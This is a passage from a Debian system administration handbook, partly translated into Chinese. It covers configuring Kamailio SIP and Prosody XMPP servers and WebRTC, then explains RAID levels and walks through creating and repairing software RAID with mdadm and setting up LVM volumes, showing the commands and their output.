## database type: MYSQL, PGSQL, ORACLE, DB_BERKELEY, DBTEXT, or SQLITE

# by default none is loaded

#

# If you want to setup a database with kamdbctl, you must at least specify

# this parameter.

DBENGINE=MYSQL

[...]

Now we focus on the configuration file /etc/kamailio/kamailio.cfg. Falcot needs user authentication and persistent user location, so they add the following #!define directives at the top of that file:

#!KAMAILIO

#

# Kamailio (OpenSER) SIP Server v5.2 - default configuration script

#     - web: https://www.kamailio.org

#     - git: https://github.com/kamailio/kamailio

#!define WITH_MYSQL

#!define WITH_AUTH

#!define WITH_USRLOCDB

[...]

Kamailio needs a database structure that we can create running kamdbctl create as root. Finally, we can add some users with kamctl.

# kamdbctl create

[...]

# kamctl add roland secret_password

Once everything is properly configured you can start or restart the service with systemctl restart kamailio, you can connect with a SIP client providing the IP address and the port (5090 is the default port). The users have the following id: roland@sip.falcot.com, and they can login using a client (see 節 13.9, “Real-Time Communications software”).

11.8.4. XMPP Server

An XMPP server manages connectivity between local XMPP users and XMPP users in other domains on the public Internet.

VOCABULARY XMPP or Jabber?

XMPP is sometimes referred to as Jabber. In fact, Jabber is a trademark and XMPP is the official name of the standard.

prosody is a popular XMPP server that operates reliably on Debian servers.

11.8.4.1. Install the XMPP server

Install the prosody package.

Review the /etc/prosody/prosody.cfg.lua configuration file. The most important thing to do is insert JIDs of the users who are permitted to manage the server.

admins = { "joe@falcot.com" }

An individual configuration file is also needed for each domain. Copy the sample from /etc/prosody/conf.avail/example.com.cfg.lua and use it as a starting point. Here is falcot.com.cfg.lua:

VirtualHost "falcot.com"

enabled = true

ssl = {

key = "/etc/ssl/private/falcot.com.key";

certificate = "/etc/ssl/certs/falcot.com.pem";

}

-- Set up a MUC (multi-user chat) room server on conference.example.com:

Component "conference.falcot.com" "muc"

To enable the domain, there must be a symlink from /etc/prosody/conf.d/. Create it that way:

# ln -s /etc/prosody/conf.avail/falcot.com.cfg.lua /etc/prosody/conf.d/

Restart the service to use the new configuration.

11.8.4.2. Managing the XMPP server

Some management operations can be performed using the prosodyctl command line utility. For example, to add the administrator account specified in /etc/prosody/prosody.cfg.lua:

# prosodyctl adduser joe@falcot.com

See the Prosody online documentation for more details about how to customize the configuration.

11.8.5. Running services on port 443

Some administrators prefer to run all of their RTC services on port 443. This helps users to connect from remote locations such as hotels and airports where other ports may be blocked or Internet traffic is routed through HTTP proxy servers.

To use this strategy, each service (SIP, XMPP and TURN) needs a different IP address. All the services can still be on the same host as Linux supports multiple IP addresses on a single host. The port number, 443, must be specified in the configuration files for each process and also in the DNS SRV records.

11.8.6. Adding WebRTC

Falcot wants to let customers make phone calls directly from the web site. The Falcot administrators also want to use WebRTC as part of their disaster recovery plan, so staff can use web browsers at home to log in to the company phone system and work normally in an emergency.

IN PRACTICE Try WebRTC

If you have not tried WebRTC before, there are various sites that give an online demonstration and test facilities.

→ https://sip5060.net/test-calls

WebRTC is a rapidly evolving technology and it is essential to use packages from the Testing distribution. Another option is to compile the software.

WebRTC uses a simple API to provide browsers and mobile applications with RTC, it is free software and it is being developed by Google.

→ https://webrtc.org

A very flexible approach is using GStreamer's WebRTC implementation. It enables pipeline-based multimedia applications, which allows developing interesting and highly efficient applications. A good starting point is the following demo by Centricular, the main company that is developing it:

→ https://gitlab.freedesktop.org/gstreamer/gst-examples

More advanced click-to-call web sites typically use server-side scripting to generate the config.js file dynamically. The DruCall source code demonstrates how to do this with PHP.

This chapter sampled only a fraction of the available server software; however, most of the common network services were described. Now it is time for an even more technical chapter: we'll go into deeper detail for some concepts, describe massive deployments and virtualization.

章 12. 高級管理

This chapter revisits some aspects we already described, with a different perspective: instead of installing one single computer, we will study mass-deployment systems; instead of creating RAID or LVM volumes at install time, we'll learn to do it by hand so we can later revise our initial choices. Finally, we will discuss monitoring tools and virtualization techniques. As a consequence, this chapter is more particularly targeting professional administrators, and focuses somewhat less on individuals responsible for their home network.

12.1. RAID 和 LVM

章 4, 安裝 presented these technologies from the point of view of the installer, and how it integrated them to make their deployment easy from the start. After the initial installation, an administrator must be able to handle evolving storage space needs without having to resort to an expensive re-installation. They must therefore understand the required tools for manipulating RAID and LVM volumes.

RAID and LVM are both techniques to abstract the mounted volumes from their physical counterparts (actual hard-disk drives or partitions thereof); the former ensures the security and availability of the data in case of hardware failure by introducing redundancy, the latter makes volume management more flexible and independent of the actual size of the underlying disks. In both cases, the system ends up with new block devices, which can be used to create filesystems or swap space, without necessarily having them mapped to one physical disk. RAID and LVM come from quite different backgrounds, but their functionality can overlap somewhat, which is why they are often mentioned together.

PERSPECTIVE Btrfs combines LVM and RAID

While LVM and RAID are two distinct kernel subsystems that come between the disk block devices and their filesystems, btrfs is a filesystem, initially developed at Oracle, that purports to combine the feature sets of LVM and RAID and much more.

→ https://btrfs.wiki.kernel.org/

Among the noteworthy features are the ability to take a snapshot of a filesystem tree at any point in time. This snapshot copy doesn't initially use any disk space, the data only being duplicated when one of the copies is modified. The filesystem also handles transparent compression of files, and checksums ensure the integrity of all stored data.

In both the RAID and LVM cases, the kernel provides a block device file, similar to the ones corresponding to a hard disk drive or a partition. When an application, or another part of the kernel, requires access to a block of such a device, the appropriate subsystem routes the block to the relevant physical layer. Depending on the configuration, this block can be stored on one or several physical disks, and its physical location may not be directly correlated to the location of the block in the logical device.

12.1.1. 軟 RAID

RAID means Redundant Array of Independent Disks. The goal of this system is to prevent data loss and ensure availability in case of hard disk failure. The general principle is quite simple: data are stored on several physical disks instead of only one, with a configurable level of redundancy. Depending on this amount of redundancy, and even in the event of an unexpected disk failure, data can be losslessly reconstructed from the remaining disks.

CULTURE Independent or inexpensive?

The I in RAID initially stood for inexpensive, because RAID allowed a drastic increase in data safety without requiring investing in expensive high-end disks. Probably due to image concerns, however, it is now more customarily considered to stand for independent, which doesn't have the unsavory flavor of cheapness.

RAID can be implemented either by dedicated hardware (RAID modules integrated into SCSI or SATA controller cards) or by software abstraction (the kernel). Whether hardware or software, a RAID system with enough redundancy can transparently stay operational when a disk fails; the upper layers of the stack (applications) can even keep accessing the data in spite of the failure. Of course, this “degraded mode” can have an impact on performance, and redundancy is reduced, so a further disk failure can lead to data loss. In practice, therefore, one will strive to only stay in this degraded mode for as long as it takes to replace the failed disk. Once the new disk is in place, the RAID system can reconstruct the required data so as to return to a safe mode. The applications won't notice anything, apart from potentially reduced access speed, while the array is in degraded mode or during the reconstruction phase.

When RAID is implemented by hardware, its configuration generally happens within the BIOS setup tool, and the kernel will consider a RAID array as a single disk, which will work as a standard physical disk, although the device name may be different (depending on the driver).

在本書裏面，我們只專注於軟 RAID。

12.1.1.1. 不同的 RAID 級別

RAID is actually not a single system, but a range of systems identified by their levels; the levels differ by their layout and the amount of redundancy they provide. The more redundant, the more failure-proof, since the system will be able to keep working with more failed disks. The counterpart is that the usable space shrinks for a given set of disks; seen the other way, more disks will be needed to store a given amount of data.

線性 RAID

Even though the kernel's RAID subsystem allows creating “linear RAID”, this is not proper RAID, since this setup doesn't involve any redundancy. The kernel merely aggregates several disks end-to-end and provides the resulting aggregated volume as one virtual disk (one block device). That is about its only function. This setup is rarely used by itself (see later for the exceptions), especially since the lack of redundancy means that one disk failing makes the whole aggregate, and therefore all the data, unavailable.

RAID-0

This level doesn't provide any redundancy either, but disks aren't simply stuck on end one after another: they are divided in stripes, and the blocks on the virtual device are stored on stripes on alternating physical disks. In a two-disk RAID-0 setup, for instance, even-numbered blocks of the virtual device will be stored on the first physical disk, while odd-numbered blocks will end up on the second physical disk.

This system doesn't aim at increasing reliability, since (as in the linear case) the availability of all the data is jeopardized as soon as one disk fails, but at increasing performance: during sequential access to large amounts of contiguous data, the kernel will be able to read from both disks (or write to them) in parallel, which increases the data transfer rate. The disks are utilized entirely by the RAID device, so they should have the same size not to lose performance.

RAID-0 use is shrinking, its niche being filled by LVM (see later).

RAID-1

This level, also known as “RAID mirroring”, is both the simplest and the most widely used setup. In its standard form, it uses two physical disks of the same size, and provides a logical volume of the same size again. Data are stored identically on both disks, hence the “mirror” nickname. When one disk fails, the data is still available on the other. For really critical data, RAID-1 can of course be set up on more than two disks, with a direct impact on the ratio of hardware cost versus available payload space.

註釋 磁盤和卷大小

If two disks of different sizes are set up in a mirror, the bigger one will not be fully used, since it will contain the same data as the smallest one and nothing more. The useful available space provided by a RAID-1 volume therefore matches the size of the smallest disk in the array. This still holds for RAID volumes with a higher RAID level, even though redundancy is stored differently.

It is therefore important, when setting up RAID arrays (except for RAID-0 and “linear RAID”), to only assemble disks of identical, or very close, sizes, to avoid wasting resources.

註釋 備用磁盤

RAID levels that include redundancy allow assigning more disks than required to an array. The extra disks are used as spares when one of the main disks fails. For instance, in a mirror of two disks plus one spare, if one of the first two disks fails, the kernel will automatically (and immediately) reconstruct the mirror using the spare disk, so that redundancy stays assured after the reconstruction time. This can be used as another kind of safeguard for critical data.

One would be forgiven for wondering how this is better than simply mirroring on three disks to start with. The advantage of the “spare disk” configuration is that the spare disk can be shared across several RAID volumes. For instance, one can have three mirrored volumes, with redundancy assured even in the event of one disk failure, with only seven disks (three pairs, plus one shared spare), instead of the nine disks that would be required by three triplets.

This RAID level, although expensive (since only half of the physical storage space, at best, is useful), is widely used in practice. It is simple to understand, and it allows very simple backups: since both disks have identical contents, one of them can be temporarily extracted with no impact on the working system. Read performance is often increased since the kernel can read half of the data on each disk in parallel, while write performance isn't too severely degraded. In case of a RAID-1 array of N disks, the data stays available even with N-1 disk failures.

CAUTION RAID is not Backup

RAID systems are not backup mechanisms. While RAID increases the redundancy - and therefore the availability of a system - and protects against disk failures, backups are done to protect data from being altered, deleted, getting corrupted, etc., and to be able to restore them if necessary. To demonstrate this: If you remove one or all files by accident, a RAID will mirror this change, but it will not provide the means to restore the file(s). So while there is clearly an overlap, they are not the same and should be used in conjunction with each other.

RAID-4

This RAID level, not widely used, uses N disks to store useful data, and an extra disk to store redundancy information. If that disk fails, the system can reconstruct its contents from the other N. If one of the N data disks fails, the remaining N-1 combined with the “parity” disk contain enough information to reconstruct the required data.

RAID-4 isn't too expensive since it only involves a one-in-N increase in costs and has no noticeable impact on read performance, but writes are slowed down. Furthermore, since a write to any of the N disks also involves a write to the parity disk, the latter sees many more writes than the former, and its lifespan can shorten dramatically as a consequence. Data on a RAID-4 array is safe only up to one failed disk (of the N+1).

RAID-5

RAID-5 addresses the asymmetry issue of RAID-4: parity blocks are spread over all of the N+1 disks, with no single disk having a particular role.

Read and write performance are identical to RAID-4. Here again, the system stays functional with up to one failed disk (of the N+1), but no more.

RAID-6

RAID-6 can be considered an extension of RAID-5, where each series of N blocks involves two redundancy blocks, and each such series of N+2 blocks is spread over N+2 disks.

This RAID level is slightly more expensive than the previous two, but it brings some extra safety since up to two drives (of the N+2) can fail without compromising data availability. The counterpart is that write operations now involve writing one data block and two redundancy blocks, which makes them even slower.

RAID-1+0

This isn't strictly speaking, a RAID level, but a stacking of two RAID groupings. Starting from 2×N disks, one first sets them up by pairs into N RAID-1 volumes; these N volumes are then aggregated into one, either by “linear RAID” or (increasingly) by LVM. This last case goes farther than pure RAID, but there is no problem with that.

RAID-1+0 can survive multiple disk failures: up to N in the 2×N array described above, provided that at least one disk keeps working in each of the RAID-1 pairs.

進階閱讀 RAID-10

RAID-10 is generally considered a synonym of RAID-1+0, but a Linux specificity makes it actually a generalization. This setup allows a system where each block is stored on two different disks, even with an odd number of disks, the copies being spread out along a configurable model.

Performances will vary depending on the chosen repartition model and redundancy level, and of the workload of the logical volume.

Obviously, the RAID level will be chosen according to the constraints and requirements of each application. Note that a single computer can have several distinct RAID arrays with different configurations.

12.1.1.2. 創建 RAID

Setting up RAID volumes requires the mdadm package; it provides the mdadm command, which allows creating and manipulating RAID arrays, as well as scripts and tools integrating it to the rest of the system, including the monitoring system.

Our example will be a server with a number of disks, some of which are already used, the rest being available to setup RAID. We initially have the following disks and partitions:

- the sdb disk, 4 GB, is entirely available;

- the sdc disk, 4 GB, is also entirely available;

- on the sdd disk, only partition sdd2 (about 4 GB) is available;

- finally, a sde disk, still 4 GB, entirely available.

NOTE Identifying existing RAID volumes

The /proc/mdstat file lists existing volumes and their states. When creating a new RAID volume, care should be taken not to name it the same as an existing volume.

We're going to use these physical elements to build two volumes, one RAID-0 and one mirror (RAID-1). Let's start with the RAID-0 volume:

# mdadm --create /dev/md0 --level=0 --raid-devices=2 /dev/sdb /dev/sdc

mdadm: Defaulting to version 1.2 metadata

mdadm: array /dev/md0 started.

# mdadm --query /dev/md0

/dev/md0: 7.99GiB raid0 2 devices, 0 spares. Use mdadm --detail for more detail.

# mdadm --detail /dev/md0

/dev/md0:

Version : 1.2

Creation Time : Mon Feb 28 01:54:24 2022

Raid Level : raid0

Array Size : 8378368 (7.99 GiB 8.58 GB)

Raid Devices : 2

Total Devices : 2

Persistence : Superblock is persistent

Update Time : Mon Feb 28 01:54:24 2022

State : clean

Active Devices : 2

Working Devices : 2

Failed Devices : 0

Spare Devices : 0

Layout : -unknown-

Chunk Size : 512K

Consistency Policy : none

Name : debian:0  (local to host debian)

UUID : a75ac628:b384c441:157137ac:c04cd98c

Events : 0

Number   Major   Minor   RaidDevice State

0       8        0        0      active sync   /dev/sdb

1       8       16        1      active sync   /dev/sdc

# mkfs.ext4 /dev/md0

mke2fs 1.46.2 (28-Feb-2021)

Discarding device blocks: done

Creating filesystem with 2094592 4k blocks and 524288 inodes

Filesystem UUID: ef077204-c477-4430-bf01-52288237bea0

Superblock backups stored on blocks:

32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632

Allocating group tables: done

Writing inode tables: done

Creating journal (16384 blocks): done

Writing superblocks and filesystem accounting information: done

# mkdir /srv/raid-0

# mount /dev/md0 /srv/raid-0

# df -h /srv/raid-0

Filesystem      Size  Used Avail Use% Mounted on

/dev/md0        7.8G   24K  7.4G   1% /srv/raid-0

The mdadm --create command requires several parameters: the name of the volume to create (/dev/md*, with MD standing for Multiple Device), the RAID level, the number of disks (which is compulsory despite being mostly meaningful only with RAID-1 and above), and the physical drives to use. Once the device is created, we can use it like we'd use a normal partition, create a filesystem on it, mount that filesystem, and so on. Note that our creation of a RAID-0 volume on md0 is nothing but coincidence, and the numbering of the array doesn't need to be correlated to the chosen amount of redundancy. It is also possible to create named RAID arrays, by giving mdadm parameters such as /dev/md/linear instead of /dev/md0.

Creation of a RAID-1 follows a similar fashion, the differences only being noticeable after the creation:

# mdadm --create /dev/md1 --level=1 --raid-devices=2 /dev/sdd2 /dev/sde

mdadm: Note: this array has metadata at the start and

may not be suitable as a boot device.  If you plan to

store '/boot' on this device please ensure that

your boot-loader understands md/v1.x metadata, or use

--metadata=0.90

mdadm: largest drive (/dev/sdc2) exceeds size (4189184K) by more than 1%

Continue creating array? y

mdadm: Defaulting to version 1.2 metadata

mdadm: array /dev/md1 started.

# mdadm --query /dev/md1

/dev/md1: 4.00GiB raid1 2 devices, 0 spares. Use mdadm --detail for more detail.

# mdadm --detail /dev/md1

/dev/md1:

Version : 1.2

Creation Time : Mon Feb 28 02:07:48 2022

Raid Level : raid1

Array Size : 4189184 (4.00 GiB 4.29 GB)

Used Dev Size : 4189184 (4.00 GiB 4.29 GB)

Raid Devices : 2

Total Devices : 2

Persistence : Superblock is persistent

Update Time : Mon Feb 28 02:08:09 2022

State : clean, resync

Active Devices : 2

Working Devices : 2

Failed Devices : 0

Spare Devices : 0

Consistency Policy : resync

Rebuild Status : 13% complete

Name : debian:1  (local to host debian)

UUID : 2dfb7fd5:e09e0527:0b5a905a:8334adb8

Events : 17

Number   Major   Minor   RaidDevice State

0       8       34        0      active sync   /dev/sdd2

1       8       48        1      active sync   /dev/sde

# mdadm --detail /dev/md1

/dev/md1:

[...]

State : clean

[...]

TIP RAID, disks and partitions

As illustrated by our example, RAID devices can be constructed out of disk partitions as well, and do not require full disks.

A few remarks are in order. First, mdadm notices that the physical elements have different sizes; since this implies that some space will be lost on the bigger element, a confirmation is required.

More importantly, note the state of the mirror. The normal state of a RAID mirror is that both disks have exactly the same contents. However, nothing guarantees this is the case when the volume is first created. The RAID subsystem will therefore provide that guarantee itself, and there will be a synchronization phase as soon as the RAID device is created. After some time (the exact amount will depend on the actual size of the disks…), the RAID array switches to the “active” or “clean” state. Note that during this reconstruction phase, the mirror is in a degraded mode, and redundancy isn't assured. A disk failing during that risk window could lead to losing all the data. Large amounts of critical data, however, are rarely stored on a freshly created RAID array before its initial synchronization. Note that even in degraded mode, the /dev/md1 is usable, and a filesystem can be created on it, as well as some data copied on it.

TIP Starting a mirror in degraded mode

Sometimes two disks are not immediately available when one wants to start a RAID-1 mirror, for instance because one of the disks one plans to include is already used to store the data one wants to move to the array. In such circumstances, it is possible to deliberately create a degraded RAID-1 array by passing missing instead of a device file as one of the arguments to mdadm. Once the data have been copied to the “mirror”, the old disk can be added to the array. A synchronization will then take place, giving us the redundancy that was wanted in the first place.

TIP Setting up a mirror without synchronization

RAID-1 volumes are often created to be used as a new disk, often considered blank. The actual initial contents of the disk is therefore not very relevant, since one only needs to know that the data written after the creation of the volume, in particular the filesystem, can be accessed later.

One might therefore wonder about the point of synchronizing both disks at creation time. Why care whether the contents are identical on zones of the volume that we know will only be read after we have written to them?

Fortunately, this synchronization phase can be avoided by passing the --assume-clean option to mdadm. However, this option can lead to surprises in cases where the initial data will be read (for instance if a filesystem is already present on the physical disks), which is why it isn't enabled by default.

Now let's see what happens when one of the elements of the RAID-1 array fails. mdadm, in particular its --fail option, allows simulating such a disk failure:

# mdadm /dev/md1 --fail /dev/sde

mdadm: set /dev/sde faulty in /dev/md1

# mdadm --detail /dev/md1

/dev/md1:

Version : 1.2

Creation Time : Mon Feb 28 02:07:48 2022

Raid Level : raid1

Array Size : 4189184 (4.00 GiB 4.29 GB)

Used Dev Size : 4189184 (4.00 GiB 4.29 GB)

Raid Devices : 2

Total Devices : 2

Persistence : Superblock is persistent

Update Time : Mon Feb 28 02:15:34 2022

State : clean, degraded

Active Devices : 1

Working Devices : 1

Failed Devices : 1

Spare Devices : 0

Consistency Policy : resync

Name : debian:1  (local to host debian)

UUID : 2dfb7fd5:e09e0527:0b5a905a:8334adb8

Events : 19

Number   Major   Minor   RaidDevice State

0       8       34        0      active sync   /dev/sdd2

-       0        0        1      removed

1       8       48        -      faulty   /dev/sde

The contents of the volume are still accessible (and, if it is mounted, the applications don't notice a thing), but the data safety isn't assured anymore: should the sdd disk fail in turn, the data would be lost. We want to avoid that risk, so we'll replace the failed disk with a new one, sdf:

# mdadm /dev/md1 --add /dev/sdf

mdadm: added /dev/sdf

# mdadm --detail /dev/md1

/dev/md1:

Version : 1.2

Creation Time : Mon Feb 28 02:07:48 2022

Raid Level : raid1

Array Size : 4189184 (4.00 GiB 4.29 GB)

Used Dev Size : 4189184 (4.00 GiB 4.29 GB)

Raid Devices : 2

Total Devices : 3

Persistence : Superblock is persistent

Update Time : Mon Feb 28 02:25:34 2022

State : clean, degraded, recovering

Active Devices : 1

Working Devices : 2

Failed Devices : 1

Spare Devices : 1

Consistency Policy : resync

Rebuild Status : 47% complete

Name : debian:1  (local to host debian)

UUID : 2dfb7fd5:e09e0527:0b5a905a:8334adb8

Events : 39

Number   Major   Minor   RaidDevice State

0       8       34        0      active sync   /dev/sdd2

2       8       64        1      spare rebuilding   /dev/sdf

1       8       48        -      faulty   /dev/sde

# [...]

[...]

# mdadm --detail /dev/md1

/dev/md1:

Version : 1.2

Creation Time : Mon Feb 28 02:07:48 2022

Raid Level : raid1

Array Size : 4189184 (4.00 GiB 4.29 GB)

Used Dev Size : 4189184 (4.00 GiB 4.29 GB)

Raid Devices : 2

Total Devices : 3

Persistence : Superblock is persistent

Update Time : Mon Feb 28 02:25:34 2022

State : clean

Active Devices : 2

Working Devices : 2

Failed Devices : 1

Spare Devices : 0

Consistency Policy : resync

Name : debian:1  (local to host debian)

UUID : 2dfb7fd5:e09e0527:0b5a905a:8334adb8

Events : 41

Number   Major   Minor   RaidDevice State

0       8       34        0      active sync   /dev/sdd2

2       8       64        1      active sync   /dev/sdf

1       8       48        -      faulty   /dev/sde

Here again, the kernel automatically triggers a reconstruction phase during which the volume, although still accessible, is in a degraded mode. Once the reconstruction is over, the RAID array is back to a normal state. One can then tell the system that the sde disk is about to be removed from the array, so as to end up with a classical RAID mirror on two disks:

# mdadm /dev/md1 --remove /dev/sde

mdadm: hot removed /dev/sde from /dev/md1

# mdadm --detail /dev/md1

/dev/md1:

[...]

Number   Major   Minor   RaidDevice State

0       8       34        0      active sync   /dev/sdd2

2       8       64        1      active sync   /dev/sdf

From then on, the drive can be physically removed when the server is next switched off, or even hot-removed when the hardware configuration allows hot-swap. Such configurations include some SCSI controllers, most SATA disks, and external drives operating on USB or Firewire.

12.1.1.3. 備份組態

Most of the meta-data concerning RAID volumes are saved directly on the disks that make up these arrays, so that the kernel can detect the arrays and their components and assemble them automatically when the system starts up. However, backing up this configuration is encouraged, because this detection isn't fail-proof, and it is only expected that it will fail precisely in sensitive circumstances. In our example, if the sde disk failure had been real (instead of simulated) and the system had been restarted without removing this sde disk, this disk could start working again due to having been probed during the reboot. The kernel would then have three physical elements, each claiming to contain half of the same RAID volume. In reality this leads to the RAID starting from the individual disks alternately - distributing the data also alternately, depending on which disk started the RAID in degraded mode Another source of confusion can come when RAID volumes from two servers are consolidated onto one server only. If these arrays were running normally before the disks were moved, the kernel would be able to detect and reassemble the pairs properly; but if the moved disks had been aggregated into an md1 on the old server, and the new server already has an md1, one of the mirrors would be renamed.

Backing up the configuration is therefore important, if only for reference. The standard way to do it is by editing the /etc/mdadm/mdadm.conf file, an example of which is listed here:

範例 12.1. mdadm configuration file

# mdadm.conf

#

# !NB! Run update-initramfs -u after updating this file.

# !NB! This will ensure that initramfs has an uptodate copy.

#

# Please refer to mdadm.conf(5) for information about this file.

#

# by default (built-in), scan all partitions (/proc/partitions) and all

# containers for MD superblocks. alternatively, specify devices to scan, using

# wildcards if desired.

DEVICE /dev/sd*

# automatically tag new arrays as belonging to the local system

HOMEHOST <system>

# instruct the monitoring daemon where to send mail alerts

MAILADDR root

# definitions of existing MD arrays

ARRAY /dev/md/0  metadata=1.2 UUID=a75ac628:b384c441:157137ac:c04cd98c name=debian:0

ARRAY /dev/md/1  metadata=1.2 UUID=2dfb7fd5:e09e0527:0b5a905a:8334adb8 name=debian:1

# This configuration was auto-generated on Mon, 28 Feb 2022 01:53:48 +0100 by mkconf

One of the most useful details is the DEVICE option, which lists the devices where the system will automatically look for components of RAID volumes at start-up time. In our example, we replaced the default value, partitions containers, with an explicit list of device files, since we chose to use entire disks and not only partitions, for some volumes.

The last two lines in our example are those allowing the kernel to safely pick which volume number to assign to which array. The metadata stored on the disks themselves are enough to re-assemble the volumes, but not to determine the volume number (and the matching /dev/md* device name).

Fortunately, these lines can be generated automatically:

# mdadm --misc --detail --brief /dev/md?

ARRAY /dev/md/0  metadata=1.2 UUID=a75ac628:b384c441:157137ac:c04cd98c name=debian:0

ARRAY /dev/md/1  metadata=1.2 UUID=2dfb7fd5:e09e0527:0b5a905a:8334adb8 name=debian:1

The contents of these last two lines doesn't depend on the list of disks included in the volume. It is therefore not necessary to regenerate these lines when replacing a failed disk with a new one. On the other hand, care must be taken to update the file when creating or deleting a RAID array.

12.1.2. LVM（邏輯卷管理）

LVM, the Logical Volume Manager, is another approach to abstracting logical volumes from their physical supports, which focuses on increasing flexibility rather than increasing reliability. LVM allows changing a logical volume transparently as far as the applications are concerned; for instance, it is possible to add new disks, migrate the data to them, and remove the old disks, without unmounting the volume.

12.1.2.1. LVM Concepts

This flexibility is attained by a level of abstraction involving three concepts.

First, the PV (Physical Volume) is the entity closest to the hardware: it can be partitions on a disk, or a full disk, or even any other block device (including, for instance, a RAID array). Note that when a physical element is set up to be a PV for LVM, it should only be accessed via LVM, otherwise the system will get confused.

A number of PVs can be clustered in a VG (Volume Group), which can be compared to disks both virtual and extensible. VGs are abstract, and don't appear in a device file in the /dev hierarchy, so there is no risk of using them directly.

The third kind of object is the LV (Logical Volume), which is a chunk of a VG; if we keep the VG-as-disk analogy, the LV compares to a partition. The LV appears as a block device with an entry in /dev, and it can be used as any other physical partition can be (most commonly, to host a filesystem or swap space).

The important thing is that the splitting of a VG into LVs is entirely independent of its physical components (the PVs). A VG with only a single physical component (a disk for instance) can be split into a dozen logical volumes; similarly, a VG can use several physical disks and appear as a single large logical volume. The only constraint, obviously, is that the total size allocated to LVs can't be bigger than the total capacity of the PVs in the volume group.

It often makes sense, however, to have some kind of homogeneity among the physical components of a VG, and to split the VG into logical volumes that will have similar usage patterns. For instance, if the available hardware includes fast disks and slower disks, the fast ones could be clustered into one VG and the slower ones into another; chunks of the first one can then be assigned to applications requiring fast data access, while the second one will be kept for less demanding tasks.

In any case, keep in mind that an LV isn't particularly attached to any one PV. It is possible to influence where the data from an LV are physically stored, but this possibility isn't required for day-to-day use. On the contrary: when the set of physical components of a VG evolves, the physical storage locations corresponding to a particular LV can be migrated across disks (while staying within the PVs assigned to the VG, of course).

12.1.2.2. Setting up LVM

Let us now follow, step by step, the process of setting up LVM for a typical use case: we want to simplify a complex storage situation. Such a situation usually happens after some long and convoluted history of accumulated temporary measures. For the purposes of illustration, we'll consider a server where the storage needs have changed over time, ending up in a maze of available partitions split over several partially used disks. In more concrete terms, the following partitions are available:

- on the sdb disk, a sdb2 partition, 4 GB;

- on the sdc disk, a sdc3 partition, 3 GB;

- the sdd disk, 4 GB, is fully available;

- on the sdf disk, a sdf1 partition, 4 GB; and a sdf2 partition, 5 GB.

In addition, let's assume that disks sdb and sdf are faster than the other two.

Our goal is to set up three logical volumes for three different applications: a file server requiring 5 GB of storage space, a database (1 GB) and some space for back-ups (12 GB). The first two need good performance, but back-ups are less critical in terms of access speed. All these constraints prevent the use of partitions on their own; using LVM can abstract the physical size of the devices, so the only limit is the total available space.

The required tools are in the lvm2 package and its dependencies. When they're installed, setting up LVM takes three steps, matching the three levels of concepts.

First, we prepare the physical volumes using pvcreate:

# pvcreate /dev/sdb2

Physical volume "/dev/sdb2" successfully created.

# pvdisplay

"/dev/sdb2" is a new physical volume of "4.00 GiB"

--- NEW Physical volume ---

PV Name               /dev/sdb2

VG Name

PV Size               4.00 GiB

Allocatable           NO

PE Size               0

Total PE              0

Free PE               0

Allocated PE          0

PV UUID               yK0K6K-clbc-wt6e-qk9o-aUh9-oQqC-k1T71B

# for i in sdc3 sdd sdf1 sdf2 ; do pvcreate /dev/$i ; done

Physical volume "/dev/sdc3" successfully created.

Physical volume "/dev/sdd" successfully created.

Physical volume "/dev/sdf1" successfully created.

Physical volume "/dev/sdf2" successfully created.

# pvdisplay -C

PV         VG Fmt  Attr PSize PFree

/dev/sdb2     lvm2 ---  4.00g 4.00g

/dev/sdc3     lvm2 ---  3.00g 3.00g

/dev/sdd      lvm2 ---  4.00g 4.00g

/dev/sdf1     lvm2 ---  4.00g 4.00g

/dev/sdf2     lvm2 ---  5.00g 5.00g

So far, so good; note that a PV can be set up on a full disk as well as on individual partitions of it. As shown above, the pvdisplay command lists the existing PVs, with two possible output formats.

Now let's assemble these physical elements into VGs using vgcreate. We'll gather only PVs from the fast disks into a vg_critical VG; the other VG, vg_normal, will also include slower elements.

# vgcreate vg_critical /dev/sdb2 /dev/sdf1

Volume group "vg_critical" successfully created

# vgdisplay

--- Volume group ---

VG Name               vg_critical

System ID

Format                lvm2

Metadata Areas        2

Metadata Sequence No  1

VG Access             read/write

VG Status             resizable

MAX LV                0

Cur LV                0

Open LV               0

Max PV                0

Cur PV                2

Act PV                2

VG Size               7.99 GiB

PE Size               4.00 MiB

Total PE              2046

Alloc PE / Size       0 / 0

Free  PE / Size       2046 / 7.99 GiB

VG UUID               JgFWU3-emKg-9QA1-stPj-FkGX-mGFb-4kzy1G

# vgcreate vg_normal /dev/sdc3 /dev/sdd /dev/sdf2

Volume group "vg_normal" successfully created

# vgdisplay -C

VG          #PV #LV #SN Attr   VSize   VFree

vg_critical   2   0   0 wz--n-   7.99g   7.99g

vg_normal     3   0   0 wz--n- <11.99g <11.99g

Here again, commands are rather straightforward (and vgdisplay proposes two output formats). Note that it is quite possible to use two partitions of the same physical disk into two different VGs. Note also that we used a vg_ prefix to name our VGs, but it is nothing more than a convention.

We now have two “virtual disks”, sized about 8 GB and 12 GB respectively. Let's now carve them up into “virtual partitions” (LVs). This involves the lvcreate command, and a slightly more complex syntax:

# lvdisplay

# lvcreate -n lv_files -L 5G vg_critical

Logical volume "lv_files" created.

# lvdisplay

--- Logical volume ---

LV Path                /dev/vg_critical/lv_files

LV Name                lv_files

VG Name                vg_critical

LV UUID                Nr62xe-Zu7d-0u3z-Yyyp-7Cj1-Ej2t-gw04Xd

LV Write Access        read/write

LV Creation host, time debian, 2022-03-01 00:17:46 +0100

LV Status              available

# open                 0

LV Size                5.00 GiB

Current LE             1280

Segments               2

Allocation             inherit

Read ahead sectors     auto

- currently set to     256

Block device           253:0

# lvcreate -n lv_base -L 1G vg_critical

Logical volume "lv_base" created.

# lvcreate -n lv_backups -L 11.98G vg_normal

Rounding up size to full physical extent 11.98 GiB

Rounding up size to full physical extent 11.98 GiB

Logical volume "lv_backups" created.

# lvdisplay -C

LV         VG          Attr       LSize  Pool Origin Data%  Meta%  Move Log Cpy%Sync Convert

lv_base    vg_critical -wi-a-----  1.00g

lv_files   vg_critical -wi-a-----  5.00g

lv_backups vg_normal   -wi-a----- 11.98g

Two parameters are required when creating logical volumes; they must be passed to the lvcreate as options. The name of the LV to be created is specified with the -n option, and its size is generally given using the -L option. We also need to tell the command what VG to operate on, of course, hence the last parameter on the command line.

進階閱讀 lvcreate 選項

The lvcreate command has several options to allow tweaking how the LV is created.

